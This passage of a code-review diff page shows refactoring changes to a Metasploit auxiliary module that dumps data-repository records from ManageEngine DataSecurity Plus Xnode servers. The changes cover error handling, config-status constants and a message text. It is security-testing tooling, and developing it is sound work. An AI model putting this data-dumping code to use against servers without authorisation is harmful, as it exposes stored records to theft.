aggr_min = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_min')
|
||||
# check if aggr_min is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
|
||||
next if aggr_min.is_a?(Integer)
|
||||
# check if aggr_min is nil, as that means process_dr_search failed and we should skip to the next repo
|
||||
next if aggr_min.nil?
|
||||
|
||||
# use "aggr" with the "max" specification for the UNIQUE_ID field in order to obtain the maximum value for this field, i.e. the most recent record
|
||||
aggr_max_query = { 'aggr' => { 'max' => { 'field' => 'UNIQUE_ID' } } }
|
||||
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_max_query))
|
||||
aggr_max = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_max')
|
||||
# check if aggr_max is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
|
||||
next if aggr_min.is_a?(Integer)
|
||||
# check if aggr_max is nil, as that means process_dr_search failed and we should skip to the next repo
|
||||
next if aggr_max.nil?
|
||||
|
||||
print_good("Data repository #{repo} contains #{total_hits} records with ID numbers between #{aggr_min} and #{aggr_max}.")
|
||||
|
||||
@ -169,13 +169,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
data_to_dump = grab_config(config_file)
|
||||
|
||||
case data_to_dump
|
||||
when 1
|
||||
when config_status::CONFIG_FILE_DOES_NOT_EXIST
|
||||
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file} because this file does not exist. Please correct your 'CONFIG_FILE' setting or set 'DUMP_ALL' to true.")
|
||||
when 2
|
||||
when config_status::CANNOT_READ_CONFIG_FILE
|
||||
fail_with(Failure::BadConfig, "Unable to read #{config_file}. Check if your 'CONFIG_FILE' setting is correct and make sure the file is readable and properly formatted.")
|
||||
when 3
|
||||
when config_status::DATA_TO_DUMP_EMPTY
|
||||
fail_with(Failure::BadConfig, "The #{config_file} does not seem to contain any data repositories and fields to dump. Please fix your configuration or set 'DUMP_ALL' to true.")
|
||||
when 4
|
||||
when config_status::DATA_TO_DUMP_WRONG_FORMAT
|
||||
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file}. Check if your 'CONFIG_DIR' setting is correct or set 'DUMP_ALL' to true.")
|
||||
end
|
||||
end
|
||||
@ -213,13 +213,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
id_range_upper += 10
|
||||
if id_range_upper > max_id
|
||||
if hit_upper_limit
|
||||
results += partial_results unless partial_results.is_a?(Integer)
|
||||
results += partial_results unless partial_results.nil?
|
||||
break
|
||||
end
|
||||
hit_upper_limit = true
|
||||
id_range_upper = max_id
|
||||
end
|
||||
next if partial_results.is_a?(Integer)
|
||||
next if partial_results.nil?
|
||||
|
||||
results += partial_results
|
||||
end
|
||||
|
@ -4,7 +4,7 @@
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::ManageengineXnode
|
||||
include Msf::Auxiliary::ManageEngineXnode
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
@ -30,8 +30,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
However, in the latter case the data won't be labeled.
|
||||
|
||||
This module has been successfully tested against ManageEngine
|
||||
DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2
|
||||
and DataSecurity Plus 6.0.5 (6052) running on Windows Server 2019.
|
||||
DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.
|
||||
},
|
||||
'Author' => [
|
||||
'Sahil Dhar', # discovery and PoC (for authentication only)
|
||||
@ -93,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# create a socket
|
||||
res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)
|
||||
if res_code == 1
|
||||
fail_with(Failure::Unreachable, 'Failed to establish a connection with the remote server')
|
||||
fail_with(Failure::Unreachable, sock_or_msg)
|
||||
end
|
||||
@sock = sock_or_msg
|
||||
end
|
||||
@ -134,22 +133,22 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# send a general query, which should return the "total_hits" parameter that represents the total record count
|
||||
res_code, res = get_response(@sock, action_dr_search(repo))
|
||||
total_hits = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'total_hits')
|
||||
# check if total_hits is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
|
||||
next if total_hits.is_a?(Integer)
|
||||
# check if total_hits is nil, as that means process_dr_search failed and we should skip to the next repo
|
||||
next if total_hits.nil?
|
||||
|
||||
# use "aggr" with the "min" specification for the UNIQUE_ID field in order to obtain the minimum value for this field, i.e. the oldest available record
|
||||
aggr_min_query = { 'aggr' => { 'min' => { 'field' => 'UNIQUE_ID' } } }
|
||||
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_min_query))
|
||||
aggr_min = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_min')
|
||||
# check if aggr_min is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
|
||||
next if aggr_min.is_a?(Integer)
|
||||
# check if aggr_min is nil, as that means process_dr_search failed and we should skip to the next repo
|
||||
next if aggr_min.nil?
|
||||
|
||||
# use "aggr" with the "max" specification for the UNIQUE_ID field in order to obtain the maximum value for this field, i.e. the most recent record
|
||||
aggr_max_query = { 'aggr' => { 'max' => { 'field' => 'UNIQUE_ID' } } }
|
||||
res_code, res = get_response(@sock, action_dr_search(repo, ['UNIQUE_ID'], aggr_max_query))
|
||||
aggr_max = process_dr_search(res, res_code, repo, ['UNIQUE_ID'], 'aggr_max')
|
||||
# check if aggr_max is an Integer, as that means process_dr_search returned an error code and we should skip to the next repo
|
||||
next if aggr_min.is_a?(Integer)
|
||||
# check if aggr_max is nil, as that means process_dr_search failed and we should skip to the next repo
|
||||
next if aggr_max.nil?
|
||||
|
||||
print_good("Data repository #{repo} contains #{total_hits} records with ID numbers between #{aggr_min} and #{aggr_max}.")
|
||||
|
||||
@ -169,13 +168,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
data_to_dump = grab_config(config_file)
|
||||
|
||||
case data_to_dump
|
||||
when 1
|
||||
when config_status::CONFIG_FILE_DOES_NOT_EXIST
|
||||
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file} because this file does not exist. Please correct your 'CONFIG_FILE' setting or set 'DUMP_ALL' to true.")
|
||||
when 2
|
||||
when config_status::CANNOT_READ_CONFIG_FILE
|
||||
fail_with(Failure::BadConfig, "Unable to read #{config_file}. Check if your 'CONFIG_FILE' setting is correct and make sure the file is readable and properly formatted.")
|
||||
when 3
|
||||
when config_status::DATA_TO_DUMP_EMPTY
|
||||
fail_with(Failure::BadConfig, "The #{config_file} does not seem to contain any data repositories and fields to dump. Please fix your configuration or set 'DUMP_ALL' to true.")
|
||||
when 4
|
||||
when config_status::DATA_TO_DUMP_WRONG_FORMAT
|
||||
fail_with(Failure::BadConfig, "Unable to obtain the Xnode data repositories to target from #{config_file}. Check if your 'CONFIG_DIR' setting is correct or set 'DUMP_ALL' to true.")
|
||||
end
|
||||
end
|
||||
@ -213,13 +212,13 @@ class MetasploitModule < Msf::Auxiliary
|
||||
id_range_upper += 10
|
||||
if id_range_upper > max_id
|
||||
if hit_upper_limit
|
||||
results += partial_results unless partial_results.is_a?(Integer)
|
||||
results += partial_results unless partial_results.nil?
|
||||
break
|
||||
end
|
||||
hit_upper_limit = true
|
||||
id_range_upper = max_id
|
||||
end
|
||||
next if partial_results.is_a?(Integer)
|
||||
next if partial_results.nil?
|
||||
|
||||
results += partial_results
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user